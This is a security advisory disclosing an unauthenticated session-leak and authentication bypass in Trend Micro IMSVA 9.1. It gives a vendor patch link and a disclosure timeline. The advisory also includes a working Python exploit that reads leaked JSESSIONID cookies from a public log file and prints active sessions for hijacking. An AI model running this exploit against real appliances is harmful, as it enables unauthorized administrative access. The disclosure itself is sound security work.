KL-001-2018-006 : Trend Micro IMSVA Management Portal Authentication Bypass

Title: Trend Micro IMSVA Management Portal Authentication Bypass
Advisory ID: KL-001-2018-006
Publication Date: 2018.02.08
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2018-006.txt


1. Vulnerability Details

     Affected Vendor: Trend Micro
     Affected Product: InterScan Mail Security Virtual Apppliance
     Affected Version: 9.1.0.1600
     Platform: Embedded Linux
     CWE Classification: CWE-522: Insufficiently Protected Credentials, CWE-219: Sensitive Data Under Web Root
     Impact: Authentication Bypass
     Attack vector: HTTPS

2. Vulnerability Description

     Any unauthenticated user can bypass the authentication process.

3. Technical Description

     The web application is plugin-based and allows widgets to
     be loaded into the application. A plugin which is loaded by
     default stores a log file of events in a directory which can be
     accessed by unauthenticated users. Files within this directory
     (such as /widget/repository/log/diagnostic.log) which contain
     cookie values can then be read, parsed, and session information
     extracted. A functional exploit is shown below.

4. Mitigation and Remediation Recommendation

     Trend Micro has released a Critical Patch update to the
     affected versions for this vulnerability. The advisory and
     links to the patch(es) are available from the following URL:

     https://success.trendmicro.com/solution/1119277

5. Credit

     This vulnerability was discovered by Matt Bergin (@thatguylevel)
     of KoreLogic, Inc.

6. Disclosure Timeline

     2017.08.11 - KoreLogic submits vulnerability details to Trend Micro.
     2017.08.11 - Trend Micro confirms receipt.
     2017.09.15 - KoreLogic asks for an update on the triage of the
                  reported issue.
     2017.09.15 - Trend Micro informs KoreLogic that the issue is in
                  remediation but there is no expected release date yet.
     2017.09.25 - 30 business days have elapsed since the vulnerability
                  was reported to Trend Micro.
     2017.10.06 - Trend Micro informs KoreLogic that the issue will not
                  be addressed before the 45 business-day deadline. They
                  ask for additional time for the details to remain
                  embargoed in order to complete QA on the proposed fix.
     2017.10.06 - KoreLogic agrees to extend the disclosure timeline.
     2017.10.17 - 45 business days have elapsed since the vulnerability
                  was reported to Trend Micro.
     2017.11.02 - Trend Micro notifies KoreLogic that the Critical Patch
                  for IMSVA 9.1 (Critical Patch 1682) has gone live,
                  but they are still working on the patch for IMSVA 9.0.
     2017.11.07 - 60 business days have elapsed since the vulnerability
                  was reported to Trend Micro.
     2017.12.21 - 90 business days have elapsed since the vulnerability
                  was reported to Trend Micro.
     2017.12.28 - Trend Micro notifies KoreLogic that the IMSVA 9.0
                  Critical Patch is being localized for foreign language
                  customers. Expected release date is late January 2018.
     2018.01.18 - Trend Micro notifies KoreLogic that the expected release
                  date for the IMSVA 9.0 Critical Patch and the advisory
                  is to be January 31, 2018.
     2018.01.23 - 110 business days have elapsed since the vulnerability
                  was reported to Trend Micro.
     2018.01.31 - Trend Micro releases the advisory associated with this
                  vulnerability and the related Critical Patches.
     2018.02.08 - KoreLogic public disclosure.

7. Proof of Concept

#!/usr/bin/python3


from argparse import ArgumentParser
from ssl import _create_unverified_context
from time import mktime
from urllib.request import HTTPSHandler, HTTPError, Request, urlopen, build_opener


banner = '''Trendmicro IMSVA 9.1.0.1600 Management Portal Authentication Bypass
{}'''.format('-'*67)


class Exploit:
    def __init__(self, args):
        self.target_host = args.host
        self.target_port = args.port
        self.list_all = args.ls
        self.sessions = []
        self.session_latest_time = None
        self.session_latest_id = None
        self.sessions_active = []
        return None

    def is_target(self):
        url_loginpage = Request('https://{}:{}/loginPage.imss'.format(self.target_host, self.target_port))
        url_loginjsp = Request('https://{}:{}/jsp/framework/login.jsp'.format(self.target_host, self.target_port))
        if urlopen(url_loginpage, context=_create_unverified_context()).getcode() == 200:
            try:
                urlopen(url_loginjsp, context=_create_unverified_context())
            except HTTPError as e:
                if e.code == 403:
                    return True
                else:
                    return False
        return False

    def get_sessions(self):
        url_vulnpage = Request('https://{}:{}/widget/repository/log/diagnostic.log'.format(self.target_host,
self.target_port))
        vuln_obj = urlopen(url_vulnpage, context=_create_unverified_context())
        if vuln_obj.getcode() == 200:
            vuln_pagedata = vuln_obj.read()
            for line in vuln_pagedata.decode('utf8').split('\n'):
                if 'product_auth' in line and 'JSEEEIONID' in line:
                    self.sessions.append((line.split(',')[0], line.split(',')[-1].split(' ')[1].split(':')[1]))
        else:
            return False
        return True

    def find_latest(self):
        for session in list(set(self.sessions)):
            year, month, day = session[0].split(' ')[0].split('-')
            hour, minute, second = session[0].split(' ')[1].split(':')
            session_time = mktime((int(year), int(month), int(day), int(hour), int(minute), int(second), 0, 0, 0))
            if self.session_latest_time is None:
                self.session_latest_time = session_time
            if session_time > self.session_latest_time:
                self.session_latest_time = session_time
                self.session_latest_id = session[1]
                if self.list_all:
                    if self.is_session_alive():
                        self.sessions_active.append((self.session_latest_time, self.session_latest_id))
        return True

    def is_session_alive(self):
        url_consolepage = Request('https://{}:{}/console.imss'.format(self.target_host, self.target_port))
        opener = build_opener(HTTPSHandler(context=_create_unverified_context()))
        opener.addheaders.append(('Cookie', 'JSESSIONID={}'.format(self.session_latest_id)))
        console_obj = opener.open(url_consolepage)
        if console_obj.getcode() == 200:
            console_pagedata = console_obj.read().decode('utf8')
            if 'parent.location.href="/timeout.imss"' in console_pagedata:
                return False
        else:
            return False
        return True

    def run(self):
        if self.is_target():
            if self.get_sessions():
                print('[-] Leaked {} sessions'.format(len(self.sessions)))
                self.find_latest()
                if self.list_all and self.sessions_active:
                    print('[+] Active sessions leaked.')
                    sessions = []
                    for entry in list(set(self.sessions_active)):
                        sessions.append(entry[1])
                    for session in list(set(sessions)):
                        print('Set-Cookie: JSESSIONID={}'.format(session))
                elif self.is_session_alive():
                    print('[+] Active session leaked.')
                    print('Set-Cookie: JSESSIONID={}'.format(self.session_latest_id))
                    return True
                else:
                    print('[-] {} sessions leaked but none are active.'.format(len(self.sessions)))
                    return False
            else:
                return False
        else:
            return False
        return False


if __name__ == '__main__':
    print(banner)
    arg_parser = ArgumentParser(add_help=False)
    arg_parser.add_argument('-H', '--help', action='help', help='Help')
    arg_parser.add_argument('-h', '--host', default=None, required=True, help='Target host')
    arg_parser.add_argument('-p', '--port', default=8445, type=int, help='Target port')
    arg_parser.add_argument('-l', '--ls', action='store_true', default=False, help='List all sessions (noisy)')

    args = arg_parser.parse_args()

    Exploit(args).run()


The contents of this advisory are copyright(c) 2018
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.
https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at:
https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt